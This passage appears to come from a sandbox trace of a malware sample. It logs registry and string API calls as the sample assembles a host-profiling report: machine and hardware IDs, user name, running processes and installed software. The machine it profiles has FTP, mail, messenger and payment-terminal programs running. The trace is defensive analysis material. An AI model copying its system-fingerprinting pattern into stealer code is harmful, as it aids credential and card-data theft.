WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 [12.0.30501.0]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 [12.0.30501.0]\n"
[0054.980] RegCloseKey (hKey=0x514) returned 0x0
[0054.980] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x3a, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.980] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}") returned 90
[0054.980] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.980] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219", lpcbData=0x1816c0*=0x3c) returned 0x0
[0054.980] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 [12.0.30501.0]\n", lpString2="Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 [12.0.30501.0]\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- 